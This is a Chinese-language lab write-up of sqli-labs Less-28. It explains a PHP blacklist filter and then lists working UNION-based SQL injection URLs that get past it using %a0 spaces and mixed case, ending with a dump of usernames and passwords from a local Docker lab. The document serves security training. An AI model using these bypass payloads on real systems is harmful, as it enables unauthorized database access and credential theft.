摘要 {#摘要}
在这个实验中,我们学习了sqli-labs中的一个题目,即Less-28。通过分析源代码,我们发现了一个名为blacklist的PHP函数,用于对传入的$id字符串进行过滤处理,以提高安全性。该函数使用正则表达式和preg_replace函数来替换字符串中的特定字符和关键字,例如/*、--、#、空格以及各种大小写形式的select和union。尽管这种简单的字符替换方法可以一定程度上防止SQL注入攻击,但仍存在绕过的可能性。 在实验过程中,我们通过联合注入的方式判断了注入点、显示位、库名、表名和列名,并最终成功获取了用户表中的用户名和密码数据。然而,这种简单的过滤方法并不是最安全可靠的解决方案。为了避免安全问题,建议使用更现代的安全编程技术,如参数化查询或使用安全的数据库访问层来防止SQL注入攻击。这些技术可以有效地防止攻击者绕过过滤规则,并提供更可靠的安全保护。
前言 {#前言}
单纯从页面看,貌似还是过滤了union和select等注入,我们依旧按照以前的思路先分析注入方式,再判断注入点,最后使用相关语句查询绕过 分析源码
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
gpt分析
这段代码是一个PHP函数,名为`blacklist`,它接受一个参数`$id`,并对其进行处理后返回结果。
以下是对代码的逐行解释:
1. `$id= preg_replace('/[\/\*]/',"", $id);`
这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`/*`(斜杠和星号)替换为空字符串。这样做是为了去除可能存在的注释符号。
2. `$id= preg_replace('/[--]/',"", $id);`
这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`--`(连字符)替换为空字符串。这样做是为了防止注入攻击中的SQL注释。
3. `$id= preg_replace('/[#]/',"", $id);`
这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`#`(井号)替换为空字符串。这样做是为了防止注入攻击中的SQL注释。
4. `$id= preg_replace('/[ +]/',"", $id);`
这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的空格替换为空字符串。这样做是为了去除空格。
5. `//$id= preg_replace('/select/m',"", $id);`
这行代码是一个注释行,被双斜杠(//)注释掉了,因此不会执行任何操作。它可能是被注释掉的代码,用于去除`$id`中的`select`关键字。
6. `$id= preg_replace('/[ +]/',"", $id);`
这行代码使用正则表达式替换函数`preg_replace`,再次将`$id`中的空格替换为空字符串。这样做是为了确保所有空格都被去除。
7. `$id= preg_replace('/union\s+select/i',"", $id);`
这行代码使用正则表达式替换函数`preg_replace`,将`$id`中的`union select`(不区分大小写)替换为空字符串。这样做是为了防止注入攻击中的联合查询。
最后,函数返回处理后的`$id`。整个函数的目的是对输入的`$id`进行处理,去除可能引发安全问题的字符,以防止SQL注入攻击或其他恶意行为。
发现依旧没有过滤and和or
实验环节 {#实验环节}
前期准备 {#前期准备}
由于还是要用空格字符替换空格,本题还是使用kali部署的sqli-labs
su - root
docker run -d --name sqli-labs -p 80:80 -p 13306:3306 --rm acgpiano/sqli-labs #为了不占用系统资源,这条命令在每次虚拟机关机后会自动清除进程,所以每次开机后都要运行这条命令
浏览器访问Less-28地址
http://192.168.199.129/Less-28
分析注入方式 {#分析注入方式}
#id=1和id=1"页面正常回显,id=1'页面显示异常,判断是单引号字符型
http://192.168.199.129/Less-28/?id=1
http://192.168.199.129/Less-28/?id=1"
http://192.168.199.129/Less-28/?id=1'
判断注入点 {#判断注入点}
#然后判断有无括号,页面回显正常说明是带括号的
http://192.168.199.129/Less-28/?id=1') %a0or%a0('1'='1
判断显示位 {#判断显示位}
http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,2,3%a0or%a0('1'='1
判断库名 {#判断库名}
http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,database(),3%a0or%a0('1'='1
判断表名 {#判断表名}
http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,group_concat(table_name),3%a0from%a0information_schema.tables%a0where%a0table_schema=database()%a0and%a0('1'='1
判断列名 {#判断列名}
http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,group_concat(column_name),3%a0from%a0information_schema.columns%a0where%a0table_name='users'%a0and%a0table_schema=database()%a0and%a0('1'='1
判断数据 {#判断数据}
http://192.168.199.129/Less-28/?id=0')%a0uNion%a0selEct%a01,group_concat(username,password),3%a0from%a0users%a0where%a0('1'='1